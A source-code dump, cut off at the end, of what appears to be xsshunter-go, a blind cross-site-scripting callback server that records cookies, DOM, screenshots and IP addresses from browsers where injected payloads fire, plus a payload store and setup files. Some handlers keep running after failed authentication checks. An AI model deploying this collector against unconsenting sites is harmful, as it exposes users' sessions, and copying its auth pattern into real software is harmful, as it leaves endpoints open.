| 72 | | Slack | slack://\[`botname`@\]`token-a`/`token-b`/`token-c` | 73 | | Telegram | telegram://... | 74 | 75 | ## Using Traefik for SSL 76 | 77 | ```yml 78 | version: '3.9' 79 | services: 80 | xsshunter-go: 81 | image: adamjsturge/xsshunter-go:latest 82 | volumes: 83 | - ./db/:/app/db/ 84 | - ./screenshots/:/app/screenshots/ 85 | environment: 86 | - CONTROL_PANEL_ENABLED=true 87 | - NOTIFY=discord://...,slack://... 88 | - DOMAIN=https://xsshunter.example.com 89 | labels: 90 | - "traefik.enable=true" 91 | - "traefik.http.routers.xsshunter-go.entrypoints=web, websecure" 92 | - "traefik.http.routers.xsshunter-go.rule=Host(`xsshunter.example.com`)" 93 | - "traefik.http.routers.xsshunter-go.tls.certresolver=myresolver" 94 | - "traefik.http.routers.xsshunter-go.tls.domains[0].main=xsshunter.example.com" 95 | - "traefik.http.services.xsshunter-go.loadbalancer.server.port=1449" 96 | traefik: 97 | image: "traefik:v2.8" 98 | container_name: "traefik" 99 | command: 100 | - "--providers.docker=true" 101 | - "--providers.docker.exposedbydefault=false" 102 | - "--entrypoints.web.address=:80" 103 | - "--entrypoints.websecure.address=:443" 104 | - "--certificatesresolvers.myresolver.acme.httpchallenge=true" 105 | - "--certificatesresolvers.myresolver.acme.httpchallenge.entrypoint=web" 106 | - "--certificatesresolvers.myresolver.acme.email=xsshunter@example.com" 107 | - "--certificatesresolvers.myresolver.acme.storage=/shared/acme.json" 108 | ports: 109 | - "80:80" 110 | - "443:443" 111 | volumes: 112 | - "/var/run/docker.sock:/var/run/docker.sock:ro" 113 | - "./shared:/shared" 114 | ``` 115 | 116 | ## Contributing 117 | 118 | Thanks for looking to contribute. 119 | 120 | If you have a massive feature change I recommend putting as an issue before starting anything! That way we can discuss it before you start working on it. 121 | 122 | Please read [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to contribute and everything you need to know. -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security Policy 2 | 3 | ## Supported Versions 4 | 5 | We recommend always using the latest version of our software, as it includes the most up-to-date security fixes and improvements. Our Docker image is automatically pushed upon merging changes to the main branch, ensuring that the latest version is readily available. 6 | 7 | | Version | Supported | 8 | | ------- | ------------------ | 9 | | Latest | :white_check_mark: | 10 | | < Latest| :x: | 11 | 12 | ## Reporting a Vulnerability 13 | 14 | If you discover a potential security vulnerability in our project, please follow these steps to report it: 15 | 16 | 1. Create a new issue in our GitHub repository. 17 | 2. Provide a clear and concise description of the vulnerability, including steps to reproduce it. 18 | 3. Include any relevant details, such as the affected version, operating system, and potential impact. 19 | 4. If possible, suggest any mitigation or remediation measures. 20 | 21 | ## Security Best Practices 22 | 23 | To ensure the security of our project, we adhere to the following best practices: 24 | 25 | - We keep our dependencies up to date and regularly monitor for any security advisories or patches. 26 | - We follow secure coding practices and conduct regular code reviews to identify and address potential vulnerabilities. 27 | - We encourage the use of strong authentication mechanisms and follow the principle of least privilege. 28 | - We have implemented automated security scanning and testing as part of our development workflow. 29 | 30 | ## Contact 31 | 32 | If you have any questions or concerns regarding the security of our project 33 | 34 | --- 35 | 36 | Thank you for your commitment to keeping our project secure! 37 | -------------------------------------------------------------------------------- /api.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "log" 7 | "net/http" 8 | "os" 9 | ) 10 | 11 | type UserXSSPayloads struct { 12 | ID uint `json:"id"` 13 | Payload string `json:"payload"` 14 | Title string `json:"title"` 15 | Description string `json:"description"` 16 | Author string `json:"author"` 17 | Author_link string `json:"author_link"` 18 | } 19 | 20 | func authCheckHandler(w http.ResponseWriter, r *http.Request) { 21 | set_secure_headers(w, r) 22 | is_authenticated := get_and_validate_jwt(r) 23 | if !is_authenticated { 24 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 25 | } else { 26 | w.WriteHeader(http.StatusOK) 27 | } 28 | } 29 | 30 | func settingsHandler(w http.ResponseWriter, r *http.Request) { 31 | set_secure_headers(w, r) 32 | is_authenticated := get_and_validate_jwt(r) 33 | if !is_authenticated { 34 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 35 | } 36 | if r.Method == "GET" { 37 | rows, err := db.Query("SELECT key, value FROM settings WHERE key IN ($1, $2, $3, $4)", CORRELATION_API_SECRET_SETTINGS_KEY, CHAINLOAD_URI_SETTINGS_KEY, PAGES_TO_COLLECT_SETTINGS_KEY, SEND_ALERTS_SETTINGS_KEY) 38 | if err != nil { 39 | http.Error(w, "Error querying database", http.StatusInternalServerError) 40 | return 41 | } 42 | defer rows.Close() 43 | 44 | settings := map[string]string{} 45 | for rows.Next() { 46 | var key, value string 47 | err = rows.Scan(&key, &value) 48 | if err != nil { 49 | http.Error(w, "Error scanning database", http.StatusInternalServerError) 50 | return 51 | } 52 | settings[key] = value 53 | } 54 | settings[ADMIN_PASSWORD_SETTINGS_KEY] = "" 55 | 56 | w.Header().Set("Content-Type", "application/json") 57 | err = json.NewEncoder(w).Encode(settings) 58 | if err != nil { 59 | http.Error(w, "Error encoding JSON", http.StatusInternalServerError) 60 | return 61 | } 62 | } else if r.Method == "PUT" { 63 | var setting_key = r.FormValue("key") 64 | var setting_value = r.FormValue("value") 65 | if setting_key == "" { 66 | http.Error(w, "Invalid key", http.StatusBadRequest) 67 | return 68 | } 69 | 70 | switch setting_key { 71 | case ADMIN_PASSWORD_SETTINGS_KEY: 72 | hashed_password, err := hash_string(setting_value) 73 | if err != nil { 74 | http.Error(w, "Error hashing password", http.StatusInternalServerError) 75 | return 76 | } 77 | update_setting(ADMIN_PASSWORD_SETTINGS_KEY, hashed_password) 78 | case CORRELATION_API_SECRET_SETTINGS_KEY: 79 | update_setting(CORRELATION_API_SECRET_SETTINGS_KEY, setting_value) 80 | case CHAINLOAD_URI_SETTINGS_KEY: 81 | update_setting(CHAINLOAD_URI_SETTINGS_KEY, setting_value) 82 | set_chainload_uri() 83 | case PAGES_TO_COLLECT_SETTINGS_KEY: 84 | update_setting(PAGES_TO_COLLECT_SETTINGS_KEY, setting_value) 85 | set_pages_to_collect() 86 | case SEND_ALERTS_SETTINGS_KEY: 87 | update_setting(SEND_ALERTS_SETTINGS_KEY, setting_value) 88 | set_send_alerts() 89 | default: 90 | http.Error(w, "Invalid key", http.StatusBadRequest) 91 | } 92 | } else { 93 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 94 | } 95 | } 96 | 97 | func loginHandler(w http.ResponseWriter, r *http.Request) { 98 | set_secure_headers(w, r) 99 | if r.Method != "POST" { 100 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 101 | return 102 | } 103 | 104 | password, err := db_single_item_query("SELECT value FROM settings WHERE key = $1", ADMIN_PASSWORD_SETTINGS_KEY).toString() 105 | if err != nil { 106 | http.Error(w, "Error querying database", http.StatusInternalServerError) 107 | return 108 | } 109 | 110 | if password == "" { 111 | http.Error(w, "No password set", http.StatusInternalServerError) 112 | return 113 | } 114 | 115 | if check_hash(r.FormValue("password"), password) { 116 | generate_and_set_jwt(w) 117 | w.WriteHeader(http.StatusOK) 118 | } else { 119 | http.Error(w, "Invalid password", http.StatusUnauthorized) 120 | } 121 | } 122 | 123 | func payloadFiresHandler(w http.ResponseWriter, r *http.Request) { 124 | set_secure_headers(w, r) 125 | is_authenticated := get_and_validate_jwt(r) 126 | if !is_authenticated { 127 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 128 | } 129 | if r.Method == "GET" { 130 | page_string := r.URL.Query().Get("page") 131 | limit_string := r.URL.Query().Get("limit") 132 | page := parameter_to_int(page_string, 1) - 1 133 | limit := parameter_to_int(limit_string, 10) 134 | offset := page * limit 135 | 136 | rows, err := db.Query("SELECT id, url, ip_address, referer, user_agent, cookies, title, dom, text, origin, screenshot_id, was_iframe, browser_timestamp, injection_requests_id FROM payload_fire_results ORDER BY created_at DESC LIMIT $1 OFFSET $2", limit, offset) 137 | if err != nil { 138 | http.Error(w, "Error querying database", http.StatusInternalServerError) 139 | return 140 | } 141 | defer rows.Close() 142 | 143 | payload_fires := []PayloadFireResults{} 144 | for rows.Next() { 145 | var payload_fire PayloadFireResults 146 | err = rows.Scan(&payload_fire.ID, &payload_fire.Url, &payload_fire.Ip_address, &payload_fire.Referer, &payload_fire.User_agent, &payload_fire.Cookies, &payload_fire.Title, &payload_fire.Dom, &payload_fire.Text, &payload_fire.Origin, &payload_fire.Screenshot_id, &payload_fire.Was_iframe, &payload_fire.Browser_timestamp, &payload_fire.Injection_requests_id) 147 | if err != nil { 148 | http.Error(w, "Error scanning database", http.StatusInternalServerError) 149 | return 150 | } 151 | payload_fires = append(payload_fires, payload_fire) 152 | } 153 | w.Header().Set("Content-Type", "application/json") 154 | err = json.NewEncoder(w).Encode(payload_fires) 155 | if err != nil { 156 | http.Error(w, "Error encoding JSON", http.StatusInternalServerError) 157 | return 158 | } 159 | } else if r.Method == "DELETE" { 160 | ids_to_delete := r.FormValue("ids") 161 | if len(ids_to_delete) == 0 { 162 | http.Error(w, "No ids to delete", http.StatusBadRequest) 163 | return 164 | } 165 | 166 | rows, err := db.Query("SELECT screenshot_id FROM payload_fire_results WHERE id IN ($1)", ids_to_delete) 167 | if err != nil { 168 | http.Error(w, "Error querying database", http.StatusInternalServerError) 169 | return 170 | } 171 | defer rows.Close() 172 | for rows.Next() { 173 | var screenshot_id string 174 | err = rows.Scan(&screenshot_id) 175 | if err != nil { 176 | http.Error(w, "Error scanning database", http.StatusInternalServerError) 177 | return 178 | } 179 | payload_fire_image_filename := get_screenshot_directory() + "/" + screenshot_id + ".png.gz" 180 | err = os.Remove(payload_fire_image_filename) 181 | if err != nil { 182 | http.Error(w, "Error deleting payload fire image", http.StatusInternalServerError) 183 | return 184 | } 185 | _, err = db_execute("DELETE FROM payload_fire_results WHERE screenshot_id = $1", screenshot_id) 186 | if err != nil { 187 | http.Error(w, "Error deleting payload fires", http.StatusInternalServerError) 188 | return 189 | } 190 | } 191 | } else { 192 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 193 | } 194 | } 195 | 196 | func collectedPagesHandler(w http.ResponseWriter, r *http.Request) { 197 | set_secure_headers(w, r) 198 | is_authenticated := get_and_validate_jwt(r) 199 | if !is_authenticated { 200 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 201 | } 202 | if r.Method == "GET" { 203 | page_string := r.URL.Query().Get("page") 204 | limit_string := r.URL.Query().Get("limit") 205 | page := parameter_to_int(page_string, 1) - 1 206 | limit := parameter_to_int(limit_string, 10) 207 | offset := page * limit 208 | 209 | rows, err := db.Query("SELECT id, uri FROM collected_pages ORDER BY created_at DESC LIMIT $1 OFFSET $2", limit, offset) 210 | if err != nil { 211 | http.Error(w, "Error querying database", http.StatusInternalServerError) 212 | return 213 | } 214 | defer rows.Close() 215 | 216 | collected_pages := []CollectedPages{} 217 | for rows.Next() { 218 | var collected_page CollectedPages 219 | err = rows.Scan(&collected_page.ID, &collected_page.Uri) 220 | if err != nil { 221 | http.Error(w, "Error scanning database", http.StatusInternalServerError) 222 | return 223 | } 224 | collected_pages = append(collected_pages, collected_page) 225 | } 226 | w.Header().Set("Content-Type", "application/json") 227 | err = json.NewEncoder(w).Encode(collected_pages) 228 | if err != nil { 229 | http.Error(w, "Error encoding JSON", http.StatusInternalServerError) 230 | return 231 | } 232 | } else if r.Method == "DELETE" { 233 | ids_to_delete := r.FormValue("ids") 234 | if len(ids_to_delete) == 0 { 235 | http.Error(w, "No ids to delete", http.StatusBadRequest) 236 | return 237 | } 238 | _, err := db_execute("DELETE FROM collected_pages WHERE id IN ($1)", ids_to_delete) 239 | if err != nil { 240 | http.Error(w, "Error deleting collected pages", http.StatusInternalServerError) 241 | return 242 | } 243 | } else { 244 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 245 | } 246 | } 247 | 248 | func recordInjectionHandler(w http.ResponseWriter, r *http.Request) { 249 | set_secure_headers(w, r) 250 | 251 | err := r.ParseMultipartForm(32 << 20) 252 | if err != nil { 253 | log.Fatal("Fatal Error Parse Multiform:", err) 254 | } 255 | owner_correlation_key := r.FormValue("owner_correlation_key") 256 | if owner_correlation_key == "" { 257 | http.Error(w, "No owner_correlation_key", http.StatusBadRequest) 258 | return 259 | } 260 | 261 | is_authenticated, errQuery := db_single_item_query("SELECT 1 FROM settings WHERE key = $1 AND value = $2", CORRELATION_API_SECRET_SETTINGS_KEY, owner_correlation_key).toBool() 262 | if errQuery != nil { 263 | fmt.Println("Error querying database: ", errQuery) 264 | http.Error(w, "Error", http.StatusUnauthorized) 265 | return 266 | } 267 | 268 | if !is_authenticated { 269 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 270 | } 271 | if r.Method != "POST" { 272 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 273 | return 274 | } 275 | 276 | injection_requests_id, err := db_single_item_query("INSERT INTO injection_requests (injection_key, request) VALUES ($1, $2) RETURNING id", r.FormValue("injection_key"), r.FormValue("request")).toInt() 277 | if err != nil { 278 | http.Error(w, "Error inserting injection request", http.StatusInternalServerError) 279 | return 280 | } 281 | 282 | // w.Header().Set("Content-Type", "application/json") 283 | err = json.NewEncoder(w).Encode(int(injection_requests_id)) 284 | if err != nil { 285 | http.Error(w, "Error encoding JSON", http.StatusInternalServerError) 286 | return 287 | } 288 | } 289 | 290 | func userPayloadsHandler(w http.ResponseWriter, r *http.Request) { 291 | set_secure_headers(w, r) 292 | is_authenticated := get_and_validate_jwt(r) 293 | if !is_authenticated { 294 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 295 | } 296 | if r.Method == "GET" { 297 | // page_string := r.URL.Query().Get("page") 298 | // limit_string := r.URL.Query().Get("limit") 299 | // page := parameter_to_int(page_string, 1) - 1 300 | // limit := parameter_to_int(limit_string, 10) 301 | // offset := page * limit 302 | 303 | rows, err := db.Query("SELECT id, payload, title, description, author, author_link FROM user_xss_payloads ORDER BY created_at ASC") 304 | if err != nil { 305 | http.Error(w, "Error querying database", http.StatusInternalServerError) 306 | return 307 | } 308 | defer rows.Close() 309 | 310 | user_payloads := []UserXSSPayloads{} 311 | for rows.Next() { 312 | var user_payload UserXSSPayloads 313 | err = rows.Scan(&user_payload.ID, &user_payload.Payload, &user_payload.Title, &user_payload.Description, &user_payload.Author, &user_payload.Author_link) 314 | if err != nil { 315 | http.Error(w, "Error scanning database", http.StatusInternalServerError) 316 | return 317 | } 318 | user_payloads = append(user_payloads, user_payload) 319 | } 320 | w.Header().Set("Content-Type", "application/json") 321 | err = json.NewEncoder(w).Encode(user_payloads) 322 | if err != nil { 323 | http.Error(w, "Error encoding JSON", http.StatusInternalServerError) 324 | return 325 | } 326 | 327 | } else if r.Method == "POST" { 328 | 329 | stmt, _ := db.Prepare(`INSERT INTO user_xss_payloads (payload, title, description, author, author_link) VALUES ($1, $2, $3, $4, $5)`) 330 | _, err := stmt.Exec(r.FormValue("payload"), r.FormValue("title"), r.FormValue("description"), r.FormValue("author"), r.FormValue("author_link")) 331 | if err != nil { 332 | http.Error(w, "Error inserting user payload", http.StatusInternalServerError) 333 | return 334 | } 335 | } else if r.Method == "DELETE" { 336 | ids_to_delete := r.FormValue("ids") 337 | if len(ids_to_delete) == 0 { 338 | http.Error(w, "No ids to delete", http.StatusBadRequest) 339 | return 340 | } 341 | _, err := db_execute("DELETE FROM user_xss_payloads WHERE id IN ($1)", ids_to_delete) 342 | if err != nil { 343 | http.Error(w, "Error deleting user payloads", http.StatusInternalServerError) 344 | return 345 | } 346 | } else { 347 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 348 | } 349 | } 350 | 351 | func userPayloadImporterHandler(w http.ResponseWriter, r *http.Request) { 352 | set_secure_headers(w, r) 353 | is_authenticated := get_and_validate_jwt(r) 354 | if !is_authenticated { 355 | http.Error(w, "Not authenticated", http.StatusUnauthorized) 356 | } 357 | if r.Method != "POST" { 358 | http.Error(w, "Invalid method", http.StatusMethodNotAllowed) 359 | return 360 | } 361 | 362 | var user_payloads []UserXSSPayloads 363 | err := json.NewDecoder(r.Body).Decode(&user_payloads) 364 | if err != nil { 365 | http.Error(w, "Error decoding JSON", http.StatusInternalServerError) 366 | return 367 | } 368 | for _, user_payload := range user_payloads { 369 | stmt, _ := db.Prepare(`INSERT INTO user_xss_payloads (payload, title, description, author, author_link) VALUES ($1, $2, $3, $4, $5)`) 370 | _, err := stmt.Exec(user_payload.Payload, user_payload.Title, user_payload.Description, user_payload.Author, user_payload.Author_link) 371 | if err != nil { 372 | http.Error(w, "Error inserting user payload", http.StatusInternalServerError) 373 | return 374 | } 375 | } 376 | } 377 | -------------------------------------------------------------------------------- /bin/extra-run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker compose -f docker-compose.extras.yml up --build -------------------------------------------------------------------------------- /bin/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker compose -f docker-compose.yml up --build -------------------------------------------------------------------------------- /cachehelper.go: -------------------------------------------------------------------------------- 1 | package main 2 | -------------------------------------------------------------------------------- /const.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "log" 5 | "net/http" 6 | ) 7 | 8 | const ( 9 | API_BASE_PATH = "/api/v1" 10 | ADMIN_PASSWORD_SETTINGS_KEY = "ADMIN_PASSWORD" 11 | session_secret_key = "SESSION_SECRET" 12 | CORRELATION_API_SECRET_SETTINGS_KEY = "CORRELATION_API_KEY" 13 | CHAINLOAD_URI_SETTINGS_KEY = "CHAINLOAD_URI" 14 | PAGES_TO_COLLECT_SETTINGS_KEY = "PAGES_TO_COLLECT" 15 | SEND_ALERTS_SETTINGS_KEY = "SEND_ALERTS" 16 | csrf_header_name = "X-CSRF-Buster" 17 | ) 18 | 19 | // var constant = make(map[string]string) 20 | 21 | var is_postgres bool = get_env("DATABASE_URL") != "" 22 | 23 | var pages_to_collect string 24 | var chainload_uris string 25 | var send_alerts bool 26 | 27 | func get_host(request *http.Request) string { 28 | host := get_env("DOMAIN") 29 | if host == "" { 30 | host = "https://" + request.Host 31 | } 32 | return host 33 | } 34 | 35 | func get_pages_to_collect() string { 36 | return pages_to_collect 37 | } 38 | 39 | func set_pages_to_collect() { 40 | pages_to_collect_value, err := db_single_item_query("SELECT value FROM settings WHERE key = $1", PAGES_TO_COLLECT_SETTINGS_KEY).toString() 41 | if err != nil { 42 | log.Fatal("Fatal Error on set page collect:", err) 43 | } 44 | 45 | pages_to_collect = "[" + pages_to_collect_value + "]" 46 | } 47 | 48 | func get_chainload_uri() string { 49 | return chainload_uris 50 | } 51 | 52 | func set_chainload_uri() { 53 | chainload_uris_value, err := db_single_item_query("SELECT value FROM settings WHERE key = $1", CHAINLOAD_URI_SETTINGS_KEY).toString() 54 | if err != nil { 55 | log.Fatal("Fatal Error on set chainload uri:", err) 56 | } 57 | chainload_uris = chainload_uris_value 58 | } 59 | 60 | func get_send_alerts() bool { 61 | return send_alerts 62 | } 63 | 64 | func set_send_alerts() { 65 | send_alerts_value, err := db_single_item_query("SELECT value FROM settings WHERE key = $1", SEND_ALERTS_SETTINGS_KEY).toBool() 66 | if err != nil { 67 | log.Fatal("Fatal Error on set alert:", err) 68 | } 69 | send_alerts = send_alerts_value 70 | } 71 | 72 | func get_screenshot_directory() string { 73 | return "./screenshots" 74 | } 75 | 76 | func get_sqlite_database_path() string { 77 | return "./db/xsshunter-go.db" 78 | } 79 | -------------------------------------------------------------------------------- /database.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "database/sql" 5 | "fmt" 6 | "log" 7 | ) 8 | 9 | type Settings struct { 10 | ID uint 11 | Key *string 12 | Value *string 13 | } 14 | 15 | type PayloadFireResults struct { 16 | ID string `json:"id"` 17 | Url string `json:"url"` 18 | Ip_address string `json:"ip_address"` 19 | Referer string `json:"referer"` 20 | User_agent string `json:"user_agent"` 21 | Cookies string `json:"cookies"` 22 | Title string `json:"title"` 23 | Dom string `json:"dom"` 24 | Text string `json:"text"` 25 | Origin string `json:"origin"` 26 | Screenshot_id string `json:"screenshot_id"` 27 | Was_iframe bool `json:"was_iframe"` 28 | Browser_timestamp uint `json:"browser_timestamp"` 29 | Correlated_request string `json:"correlated_request"` 30 | Injection_requests_id *int `json:"injection_requests_id"` 31 | } 32 | 33 | type CollectedPages struct { 34 | ID uint 35 | Uri string 36 | Html string 37 | } 38 | 39 | type InjectionRequests struct { 40 | ID uint 41 | Request string 42 | Injection_key string 43 | } 44 | 45 | var db *sql.DB 46 | 47 | func create_sqlite_tables() { 48 | sqlStmt := ` 49 | CREATE TABLE IF NOT EXISTS settings ( 50 | id INTEGER PRIMARY KEY AUTOINCREMENT, 51 | key TEXT, 52 | value TEXT 53 | ); 54 | CREATE TABLE IF NOT EXISTS payload_fire_results ( 55 | id INTEGER PRIMARY KEY AUTOINCREMENT, 56 | url TEXT, 57 | ip_address TEXT, 58 | referer TEXT, 59 | user_agent TEXT, 60 | cookies TEXT, 61 | title TEXT, 62 | dom TEXT, 63 | text TEXT, 64 | origin TEXT, 65 | screenshot_id TEXT, 66 | was_iframe BOOLEAN, 67 | browser_timestamp UNSIGNED INT, 68 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 69 | ); 70 | CREATE TABLE IF NOT EXISTS collected_pages ( 71 | id INTEGER PRIMARY KEY AUTOINCREMENT, 72 | uri TEXT, 73 | html TEXT, 74 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 75 | ); 76 | CREATE TABLE IF NOT EXISTS injection_requests ( 77 | id INTEGER PRIMARY KEY AUTOINCREMENT, 78 | request TEXT, 79 | injection_key TEXT, 80 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 81 | ); 82 | CREATE TABLE IF NOT EXISTS user_xss_payloads ( 83 | id INTEGER PRIMARY KEY AUTOINCREMENT, 84 | payload TEXT, 85 | title TEXT, 86 | description TEXT, 87 | author TEXT, 88 | author_link TEXT, 89 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 90 | ); 91 | CREATE TABLE IF NOT EXISTS migrations ( 92 | id INTEGER PRIMARY KEY AUTOINCREMENT, 93 | name TEXT, 94 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 95 | ); 96 | ` 97 | _, err := db.Exec(sqlStmt) 98 | if err != nil { 99 | log.Printf("%q: %s\n", err, sqlStmt) 100 | return 101 | } 102 | } 103 | 104 | func create_postgres_tables() { 105 | sqlStmt := ` 106 | CREATE TABLE IF NOT EXISTS settings ( 107 | id SERIAL PRIMARY KEY, 108 | key TEXT, 109 | value TEXT 110 | ); 111 | CREATE TABLE IF NOT EXISTS payload_fire_results ( 112 | id SERIAL PRIMARY KEY, 113 | url TEXT, 114 | ip_address TEXT, 115 | referer TEXT, 116 | user_agent TEXT, 117 | cookies TEXT, 118 | title TEXT, 119 | dom TEXT, 120 | text TEXT, 121 | origin TEXT, 122 | screenshot_id TEXT, 123 | was_iframe BOOLEAN, 124 | browser_timestamp BIGINT, 125 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 126 | ); 127 | CREATE TABLE IF NOT EXISTS collected_pages ( 128 | id SERIAL PRIMARY KEY, 129 | uri TEXT, 130 | html TEXT, 131 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 132 | ); 133 | CREATE TABLE IF NOT EXISTS injection_requests ( 134 | id SERIAL PRIMARY KEY, 135 | request TEXT, 136 | injection_key TEXT, 137 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 138 | ); 139 | CREATE TABLE IF NOT EXISTS user_xss_payloads ( 140 | id SERIAL PRIMARY KEY, 141 | payload TEXT, 142 | title TEXT, 143 | description TEXT, 144 | author TEXT, 145 | author_link TEXT, 146 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 147 | ); 148 | CREATE TABLE IF NOT EXISTS migrations ( 149 | id SERIAL PRIMARY KEY, 150 | name TEXT, 151 | created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP 152 | ); 153 | ` 154 | _, err := db.Exec(sqlStmt) 155 | if err != nil { 156 | log.Printf("%q: %s\n", err, sqlStmt) 157 | return 158 | } 159 | } 160 | 161 | func initialize_settings() { 162 | initialize_users() 163 | initialize_configs() 164 | initialize_correlation_api() 165 | initialize_setting_helper(PAGES_TO_COLLECT_SETTINGS_KEY, "") 166 | set_pages_to_collect() 167 | initialize_setting_helper(SEND_ALERTS_SETTINGS_KEY, "true") 168 | set_send_alerts() 169 | initialize_setting_helper(CHAINLOAD_URI_SETTINGS_KEY, "") 170 | set_chainload_uri() 171 | } 172 | 173 | func initialize_users() { 174 | new_password, err := get_secure_random_string(32) 175 | if err != nil { 176 | log.Fatal("Fatal Error Initialize Users:", err) 177 | } 178 | 179 | new_user := setup_admin_user(new_password) 180 | 181 | if new_user { 182 | return 183 | } 184 | 185 | banner_message := get_default_user_created_banner(new_password) 186 | fmt.Println(banner_message) 187 | } 188 | 189 | func setup_admin_user(password string) bool { 190 | hashed_password, err := hash_string(password) 191 | if err != nil { 192 | log.Fatal("Fatal Error on Password Hash:", err) 193 | } 194 | 195 | return initialize_setting_helper(ADMIN_PASSWORD_SETTINGS_KEY, hashed_password) 196 | } 197 | 198 | func initialize_configs() { 199 | session_secret, err := get_secure_random_string(64) 200 | if err != nil { 201 | log.Fatal("Fatal Error on Initialize Config:", err) 202 | } 203 | initialize_setting_helper(session_secret_key, session_secret) 204 | } 205 | 206 | func initialize_correlation_api() { 207 | api_key, err := get_secure_random_string(64) 208 | if err != nil { 209 | log.Fatal("Fatal Error on Initialize Correlation Api:", err) 210 | } 211 | initialize_setting_helper(CORRELATION_API_SECRET_SETTINGS_KEY, api_key) 212 | } 213 | 214 | func initialize_setting_helper(key string, value string) bool { 215 | has_setting, setting_err := db_single_item_query("SELECT 1 FROM settings WHERE key = $1", key).toBool() 216 | if setting_err != nil { 217 | log.Fatal("Fatal Error on select setting helper:", setting_err) 218 | } 219 | if !has_setting { 220 | _, err := db.Exec("INSERT INTO settings (key, value) VALUES ($1, $2)", key, value) 221 | if err != nil { 222 | log.Fatal("Fatal Error on insert setting helper:", err) 223 | } 224 | return false 225 | } 226 | return true 227 | } 228 | 229 | func get_default_user_created_banner(password string) string { 230 | return ` 231 | ============================================================================ 232 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗ 233 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║ 234 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║ 235 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║ 236 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ 237 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ 238 | 239 | vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv 240 | An admin user (for the admin control panel) has been created 241 | with the following password: 242 | 243 | PASSWORD: ` + password + ` 244 | 245 | XSS Hunter Go has only one user for the instance. Do not 246 | share this password with anyone who you don't trust. Save it 247 | in your password manager and don't change it to anything that 248 | is bruteforcable. 249 | 250 | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 251 | █████╗ ████████╗████████╗███████╗███╗ ██╗████████╗██╗ ██████╗ ███╗ ██╗ 252 | ██╔══██╗╚══██╔══╝╚══██╔══╝██╔════╝████╗ ██║╚══██╔══╝██║██╔═══██╗████╗ ██║ 253 | ███████║ ██║ ██║ █████╗ ██╔██╗ ██║ ██║ ██║██║ ██║██╔██╗ ██║ 254 | ██╔══██║ ██║ ██║ ██╔══╝ ██║╚██╗██║ ██║ ██║██║ ██║██║╚██╗██║ 255 | ██║ ██║ ██║ ██║ ███████╗██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ 256 | ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ 257 | 258 | ============================================================================` 259 | } 260 | -------------------------------------------------------------------------------- /db_select_benchmark_test.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "testing" 5 | ) 6 | 7 | func BenchmarkRawQuery(b *testing.B) { 8 | db := establish_database_connection() 9 | defer db.Close() 10 | 11 | b.ResetTimer() 12 | 13 | for i := 0; i < b.N; i++ { 14 | rows, err := db.Query("SELECT id, request FROM injection_requests WHERE injection_key = $1", "e46304368666d45eb27cde23e564e828f29e167b") 15 | if err != nil { 16 | b.Fatal(err) 17 | } 18 | defer rows.Close() 19 | 20 | for rows.Next() { 21 | var id int 22 | var request string 23 | err := rows.Scan(&id, &request) 24 | if err != nil { 25 | b.Fatal(err) 26 | } 27 | } 28 | } 29 | } 30 | 31 | func BenchmarkDbSelect(b *testing.B) { 32 | db := establish_database_connection() 33 | defer db.Close() 34 | 35 | b.ResetTimer() 36 | 37 | for i := 0; i < b.N; i++ { 38 | injection_requests, err := db_select("SELECT id, request FROM injection_requests WHERE injection_key = $1", "e46304368666d45eb27cde23e564e828f29e167b") 39 | if err != nil { 40 | b.Fatal(err) 41 | } 42 | 43 | _, _ = injection_requests[0]["id"].toInt() 44 | _, _ = injection_requests[0]["request"].toString() 45 | } 46 | } 47 | 48 | func 